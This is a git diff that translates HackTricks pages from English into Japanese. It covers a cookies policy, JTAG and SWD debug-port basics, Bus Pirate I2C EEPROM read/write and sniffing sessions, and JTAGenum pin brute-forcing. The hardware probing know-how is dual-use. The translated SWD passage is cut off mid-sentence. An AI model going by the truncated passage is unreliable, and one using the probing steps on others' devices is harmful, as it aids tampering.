[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 diff --git a/todo/cookies-policy.md b/todo/cookies-policy.md index f1c4443c2..bc47c8744 100644 --- a/todo/cookies-policy.md +++ b/todo/cookies-policy.md @@ -1,45 +1,45 @@ -# Cookies Policy +# クッキーポリシー -Last updated: 02/04/2023 +最終更新日:02/04/2023 -### Introduction +### 紹介 -This Cookies Policy applies to the following websites owned and operated by HackTricks team ("HackTricks", "we", "us" or "our"): +このクッキーポリシーは、HackTricksチーム(以下「HackTricks」、「私たち」、「我々」または「私たちの」)が所有および運営する以下のウェブサイトに適用されます。 * hacktricks.xyz * [www.hacktricks.xyz](http://www.hacktricks.xyz/) * book.hacktricks.xyz * cloud.hacktricks.xyz -By using any of these websites, you agree to the use of cookies in accordance with this Cookies Policy. If you do not agree, please disable cookies in your browser settings or refrain from using our websites. +これらのウェブサイトのいずれかを使用することで、このクッキーポリシーに従ってクッキーの使用に同意するものとします。同意しない場合は、ブラウザの設定でクッキーを無効にするか、当社のウェブサイトの利用を控えてください。 -### What are cookies? +### クッキーとは何ですか? -Cookies are small text files that are stored on your computer or mobile device when you visit a website. They are widely used to make websites work, improve their functionality, and provide a more personalized user experience. +クッキーは、ウェブサイトを訪れた際にコンピュータやモバイルデバイスに保存される小さなテキストファイルです。ウェブサイトの動作を可能にし、機能を向上させ、よりパーソナライズされたユーザーエクスペリエンスを提供するために広く使用されています。 -### How we use cookies +### クッキーの使用方法 -We use cookies on our websites for the following purposes: +当社のウェブサイトでは、以下の目的でクッキーを使用しています: -1. Essential cookies: These cookies are necessary for the basic functionality of our websites, such as enabling user authentication, maintaining security, and remembering your preferences. -2. Performance cookies: These cookies help us understand how visitors interact with our websites, by collecting and reporting information anonymously. This allows us to improve our website performance and user experience. -3. Functionality cookies: These cookies enable our websites to remember choices you make, such as your language or region, to provide a more personalized experience. -4. Targeting/advertising cookies: These cookies are used to deliver relevant ads and marketing communications based on your interests, browsing history, and interactions with our websites. +1. 必須クッキー:これらのクッキーは、ユーザーの認証を可能にする、セキュリティを維持する、およびお好みを記憶するなど、ウェブサイトの基本的な機能に必要です。 +2. パフォーマンスクッキー:これらのクッキーは、訪問者がウェブサイトとどのように対話しているかを理解するために、匿名で情報を収集および報告することで役立ちます。これにより、ウェブサイトのパフォーマンスとユーザーエクスペリエンスを向上させることができます。 +3. 機能クッキー:これらのクッキーは、言語や地域などの選択肢を記憶し、よりパーソナライズされたエクスペリエンスを提供するために、当社のウェブサイトが選択肢を記憶することを可能にします。 +4. ターゲティング/広告クッキー:これらのクッキーは、興味、閲覧履歴、および当社のウェブサイトとの対話に基づいて関連する広告やマーケティングコミュニケーションを提供するために使用されます。 -Moreover, the pages book.hacktricks.xyz and cloud.hacktricks.xyz are hosted in Gitbook. You can find more information about Gitbooks cookies in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy). +さらに、book.hacktricks.xyzとcloud.hacktricks.xyzのページはGitbookでホストされています。Gitbookのクッキーに関する詳細情報は、[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)で確認できます。 -### Third-party cookies +### サードパーティのクッキー -In addition to our own cookies, we may also use third-party cookies to report website usage statistics, deliver advertisements, and enable social media sharing buttons. The use of third-party cookies is subject to their respective privacy policies. +当社自身のクッキーに加えて、ウェブサイトの利用統計の報告、広告の配信、およびソーシャルメディア共有ボタンの有効化のために、サードパーティのクッキーも使用する場合があります。サードパーティのクッキーの使用は、それぞれのプライバシーポリシーに準拠します。 -Managing cookies +クッキーの管理 -Most web browsers allow you to manage cookies through their settings. You can choose to block, delete, or limit the use of cookies on your device. However, please note that disabling cookies may affect the functionality and performance of our websites. +ほとんどのウェブブラウザは、設定を通じてクッキーを管理することができます。デバイスでクッキーのブロック、削除、または使用制限を選択することができます。ただし、クッキーを無効にすると、ウェブサイトの機能とパフォーマンスに影響がある場合があります。 -Changes to this Cookies Policy +このクッキーポリシーの変更 -We may update this Cookies Policy from time to time to reflect changes in our practices or relevant laws. We encourage you to periodically review this page for the latest information on our cookie practices. +当社は、実践や関連する法律の変更を反映するために、このクッキーポリシーを定期的に更新する場合があります。クッキーの取り扱いに関する最新情報については、定期的にこのページをご確認ください。 -### Contact us +### お問い合わせ -If you have any questions or concerns about this Cookies Policy, please contact us at [support@hacktricks.xyz](mailto:support@hacktricks.xyz) +このクッキーポリシーに関するご質問やご不明な点がございましたら、[support@hacktricks.xyz](mailto:support@hacktricks.xyz)までお問い合わせください。 diff --git a/todo/hardware-hacking/README.md b/todo/hardware-hacking/README.md index ebe3db7e1..833468369 100644 --- a/todo/hardware-hacking/README.md +++ b/todo/hardware-hacking/README.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
@@ -21,66 +19,52 @@ # JTAG -JTAG allows to perform a boundary scan. The boundary scan analyzes certain circuitry, including embedded boundary-scan cells and registers for each pin. +JTAGはバウンダリスキャンを実行することができます。バウンダリスキャンは、各ピンの埋め込みバウンダリスキャンセルとレジスタを含む特定の回路を分析します。 -The JTAG standard defines **specific commands for conducting boundary scans**, including the following: +JTAG標準では、次のような**バウンダリスキャンを実行するための特定のコマンド**が定義されています。 -* **BYPASS** allows you to test a specific chip without the overhead of passing through other chips. -* **SAMPLE/PRELOAD** takes a sample of the data entering and leaving the device when it’s in its normal functioning mode. -* **EXTEST** sets and reads pin states. +* **BYPASS**は、他のチップを経由せずに特定のチップをテストすることができます。 +* **SAMPLE/PRELOAD**は、デバイスが通常の動作モードにあるときにデータのサンプルを取得します。 +* **EXTEST**は、ピンの状態を設定および読み取ります。 -It can also support other commands such as: +また、次のような他のコマンドもサポートできます。 -* **IDCODE** for identifying a device -* **INTEST** for the internal testing of the device +* デバイスを識別するための**IDCODE** +* デバイスの内部テストのための**INTEST** -You might come across these instructions when you use a tool like the JTAGulator. +JTAGulatorのようなツールを使用すると、これらの命令に遭遇することがあります。 -## The Test Access Port +## テストアクセスポート -Boundary scans include tests of the four-wire **Test Access Port (TAP)**, a general-purpose port that provides **access to the JTAG test support** functions built into a component. TAP uses the following five signals: +バウンダリスキャンには、コンポーネントに組み込まれたJTAGテストサポート機能にアクセスするための汎用ポートである**4本のワイヤテストアクセスポート(TAP)**のテストが含まれます。TAPは次の5つの信号を使用します。 -* Test clock input (**TCK**) The TCK is the **clock** that defines how often the TAP controller will take a single action (in other words, jump to the next state in the state machine). -* Test mode select (**TMS**) input TMS controls the **finite state machine**. On each beat of the clock, the device’s JTAG TAP controller checks the voltage on the TMS pin. If the voltage is below a certain threshold, the signal is considered low and interpreted as 0, whereas if the voltage is above a certain threshold, the signal is considered high and interpreted as 1. -* Test data input (**TDI**) TDI is the pin that sends **data into the chip through the scan cells**. Each vendor is responsible for defining the communication protocol over this pin, because JTAG doesn’t define this. -* Test data output (**TDO**) TDO is the pin that sends **data out of the chip**. -* Test reset (**TRST**) input The optional TRST resets the finite state machine **to a known good state**. Alternatively, if the TMS is held at 1 for five consecutive clock cycles, it invokes a reset, the same way the TRST pin would, which is why TRST is optional. +* テストクロック入力(**TCK**)TCKは、TAPコントローラが単一のアクションを実行する頻度(つまり、ステートマシンで次の状態にジャンプする頻度)を定義する**クロック**です。 +* テストモード選択(**TMS**)入力TMSは**有限状態マシン**を制御します。クロックのビートごとに、デバイスのJTAG TAPコントローラはTMSピンの電圧をチェックします。電圧が一定の閾値以下の場合、信号は低いと見なされ、0と解釈されます。一方、電圧が一定の閾値を超える場合、信号は高いと見なされ、1と解釈されます。 +* テストデータ入力(**TDI**)TDIは、スキャンセルを介してチップにデータを送信するピンです。各ベンダーは、このピンを介した通信プロトコルを定義する責任があります。なぜなら、JTAGはこれを定義していないからです。 +* テストデータ出力(**TDO**)TDOは、チップからデータを送信するピンです。 +* テストリセット(**TRST**)入力オプションのTRSTは、有限状態マシンを**既知の正常な状態**にリセットします。または、TMSが5回の連続したクロックサイクルで1に保持されている場合、リセットが呼び出され、TRSTピンと同じ方法でリセットされます。これがTRSTがオプションである理由です。 -Sometimes you will be able to find those pins marked in the PCB. In other occasions you might need to **find them**. +場合によっては、これらのピンがPCBにマークされていることがあります。他の場合は、それらを**見つける必要がある**かもしれません。 -## Identifying JTAG pins +## JTAGピンの特定 -The fastest but most expensive way to detect JTAG ports is by using the **JTAGulator**, a device created specifically for this purpose (although it can **also detect UART pinouts**). +JTAGポートを検出する最も高速で最も高価な方法は、特にこの目的のために作成されたデバイスである**JTAGulator**を使用することです(UARTピン配置も**検出できます**)。 -It has **24 channels** you can connect to the boards pins. Then it performs a **BF attack** of all the possible combinations sending **IDCODE** and **BYPASS** boundary scan commands. If it receives a response, it displays the channel corresponding to each JTAG signal +24のチャネルをボードのピンに接続できます。次に、**IDCODE**および**BYPASS**バウンダリスキャンコマンドを送信するすべての可能な組み合わせに対して**BF攻撃**を実行します。応答を受信すると、各JTAG信号に対応するチャネルが表示されます。 -A cheaper but much slower way of identifying JTAG pinouts is by using the [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) loaded on an Arduino-compatible microcontroller. +JTAGピン配置を特定するための安価で遅い方法は、Arduino互換のマイクロコントローラにロードされた[**JTAGenum**](https://github.com/cyphunk/JTAGenum/)を使用することです。 -Using **JTAGenum**, you’d first **define the pins of the probing** device that you’ll use for the enumeration.You’d have to reference the device’s pinout diagram, and then connect these pins with the test points on your target device. +**JTAGenum**を使用する場合、まず列挙のために使用するプローブデバイスのピンを**定義**する必要があります。デバイスのピン配置図を参照し、これらのピンをターゲットデバイスのテストポイントに接続する必要があります。 -A **third way** to identify JTAG pins is by **inspecting the PCB** for one of the pinouts. In some cases, PCBs might conveniently provide the **Tag-Connect interface**, which is a clear indication that the board has a JTAG connector, too. You can see what that interface looks like at [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Additionally, inspecting the **datasheets of the chipsets on the PCB** might reveal pinout diagrams that point to JTAG interfaces. +JTAGピンを特定するための**3番目の方法**は、PCBを**検査**してピン配置の1つを見つけることです。場合によっては、PCBが便利に**Tag-Connectインターフェース**を提供していることがあります。これは、ボードにJTAGコネクタがあることを明示的に示しています。このインターフェースの外観は[https://www.tag-connect.com/info/](https://www.tag-connect.com/info/)で確認できます。さらに、PCB上のチップセットの**データシート**を調べると、JTAGインタフェースを指すピン配置図が明らかになる場合があります。 # SDW -SWD is an ARM-specific protocol designed for debugging. +SWDは、デバッグ用に設計されたARM固有のプロトコルです。 -The SWD interface requires **two pins**: a bidirectional **SWDIO** signal, which is the equivalent of JTAG’s **TDI and TDO pins and a clock**, and **SWCLK**, which is the equivalent of **TCK** in JTAG. Many devices support the **Serial Wire or JTAG Debug Port (SWJ-DP)**, a combined JTAG and SWD interface that enables you to connect either a SWD or JTAG probe to the target. +SWDインタフェースには、次の2つのピンが必要です:双方向の**SWDIO**信号(JTAGの**TDI**および**TDO**ピ +- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/todo/hardware-hacking/i2c.md b/todo/hardware-hacking/i2c.md index 996f7fbf1..a1df0ef05 100644 --- a/todo/hardware-hacking/i2c.md +++ b/todo/hardware-hacking/i2c.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -23,8 +21,7 @@ # Bus Pirate -To test a Bus Pirate is working, connect +5V with VPU and 3.3V with ADC and access the bus pirate (Using Tera Term for example) and use the command `~`: - +Bus Pirateが動作しているかをテストするには、+5VをVPUに接続し、3.3VをADCに接続し、バスパイレートにアクセスします(例えば、Tera Termを使用)そして、コマンド`~`を使用します: ```bash # Use command HiZ>~ @@ -63,20 +60,18 @@ Any key to exit #Press space Found 0 errors. ``` +前のコマンドラインで、エラーが0個見つかったと表示されました。これは、購入後やファームウェアのフラッシュ後に動作していることを確認するために非常に役立ちます。 -As you can see in the previous command line it said that it found 0 errors. This is very useful to know it's working after buying it or after flashing a firmware. - -To connect with the bus pirate you can follow the docs: +バスパイレートに接続するには、以下のドキュメントに従ってください: ![](<../../.gitbook/assets/image (307) (2).png>) -In this case I'm going to connect to an EPROM: ATMEL901 24C256 PU27: +この場合、私はEPROMに接続する予定です:ATMEL901 24C256 PU27: ![](<../../.gitbook/assets/image (465) (2) (1).png>) -To talk with bus pirate I used Tera Term connected to the pirate bus COM port with a Setup --> Serial Port --> Speed of 115200.\ -In the following communication you can find how to prepare the bus pirate to talk I2C and how to write and read from the memory (Comments appear using "#", don't expect that part in the communication): - +バスパイレートと通信するために、Tera Termを使用し、パイレートバスのCOMポートに接続し、Setup --> Serial Port --> Speedを115200に設定しました。\ +以下の通信では、I2Cでバスパイレートを準備し、メモリから書き込みと読み取りを行う方法が示されています(コメントは"#"を使用して表示されますが、通信の一部ではありません)。 ```bash # Check communication with buspirate i @@ -113,16 +108,16 @@ x. exit(without change) # Select I2C (1)>4 I2C mode: - 1. Software - 2. Hardware +1. Software +2. Hardware # Select Software mode (1)>1 Set speed: - 1. ~5kHz - 2. ~50kHz - 3. ~100kHz - 4. ~240kHz +1. ~5kHz +2. ~50kHz +3. ~100kHz +4. ~240kHz # Select communication spped (1)> 2 @@ -137,10 +132,10 @@ Clutch engaged!!! # Get macros I2C>(0) - 0.Macro menu - 1.7bit address search - 2.I2C sniffer - +0.Macro menu +1.7bit address search +2.I2C sniffer + #Get addresses of slaves connected I2C>(1) Searching I2C address space. Found devices at: @@ -175,13 +170,11 @@ WRITE: 0xA1 ACK READ: 0x42 ACK 0x42 ACK 0x42 ACK 0x20 ACK 0x48 ACK 0x69 ACK 0x20 ACK 0x44 ACK 0x72 ACK 0x65 ACK 0x67 ACK 0x21 ACK 0x20 ACK 0x41 ACK 0x41 ACK 0x41 ACK 0x00 ACK 0xFF ACK 0xFF ACK 0xFF NACK ``` +## スニファー -## Sniffer - -In this scenario we are going to sniff the I2C communication between the arduino and the previous EPROM, you just need to communicate both devices and then connect the bus pirate to the SCL, SDA and GND pins: +このシナリオでは、Arduinoと前のEPROM間のI2C通信をスニフすることになります。両方のデバイスを接続し、その後、バスパイレートをSCL、SDA、およびGNDピンに接続するだけです。 ![](<../../.gitbook/assets/image (201) (2) (1).png>) - ```bash I2C>m 1. HiZ @@ -199,15 +192,15 @@ x. exit(without change) (1)>4 I2C mode: - 1. Software - 2. Hardware +1. Software +2. Hardware (1)>1 Set speed: - 1. ~5kHz - 2. ~50kHz - 3. ~100kHz - 4. ~240kHz +1. ~5kHz +2. ~50kHz +3. ~100kHz +4. ~240kHz (1)>1 Clutch disengaged!!! @@ -227,22 +220,18 @@ Sniffer Any key to exit [0xA0+0x00+0x69+0x41+0x41+0x41+0x20+0x48+0x69+0x20+0x44+0x72+0x65+0x67+0x21+0x20+0x41+0x41+0x41+0x00+] ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/todo/hardware-hacking/jtag.md b/todo/hardware-hacking/jtag.md index 815c131e9..d57d1d576 100644 --- a/todo/hardware-hacking/jtag.md +++ b/todo/hardware-hacking/jtag.md @@ -1,58 +1,54 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# JTAGenum -[**JTAGenum** ](https://github.com/cyphunk/JTAGenum)is a tool can be used with a Raspberry PI or an Arduino to find to try JTAG pins from an unknown chip.\ -In the **Arduino**, connect the **pins from 2 to 11 to 10pins potentially belonging to a JTAG**. Load the program in the Arduino and it will try to bruteforce all the pins to find if any pins belongs to JTAG and which one is each.\ -In the **Raspberry PI** you can only use **pins from 1 to 6** (6pins, so you will go slower testing each potential JTAG pin). +[**JTAGenum**](https://github.com/cyphunk/JTAGenum)は、Raspberry PIまたはArduinoと組み合わせて、不明なチップからJTAGピンを見つけるために使用できるツールです。\ +**Arduino**では、**2から11のピンをJTAGピンに接続**し、Arduino GNDをベースボードのGNDに接続します。Arduinoにプログラムをロードし、すべてのピンをブルートフォースしてJTAGピンが存在するかどうか、およびそれぞれのピンがどれかを見つけようとします。\ +**Raspberry PI**では、**1から6のピン**のみを使用できます(6つのピンなので、各潜在的なJTAGピンをテストするのに時間がかかります)。 ## Arduino -In Arduino, after connecting the cables (pin 2 to 11 to JTAG pins and Arduino GND to the baseboard GND), **load the JTAGenum program in Arduino** and in the Serial Monitor send a **`h`** (command for help) and you should see the help: +Arduinoでは、ケーブルを接続した後(ピン2から11をJTAGピンに接続し、Arduino GNDをベースボードのGNDに接続)、Arduinoに**JTAGenumプログラムをロード**し、シリアルモニターに**`h`**(ヘルプのコマンド)を送信すると、ヘルプが表示されます。 ![](<../../.gitbook/assets/image (643).png>) ![](<../../.gitbook/assets/image (650).png>) -Configure **"No line ending" and 115200baud**.\ -Send the command s to start scanning: +**「改行なし」および115200ボー」**で設定してください。\ +スキャンを開始するには、コマンドsを送信します。 ![](<../../.gitbook/assets/image (651) (1) (1) (1).png>) -If you are contacting a JTAG, you will find one or several **lines starting by FOUND!** indicating the pins of JTAG. +JTAGに接続している場合、JTAGのピンを示す**「FOUND!」で始まる1つまたは複数の行**が見つかります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
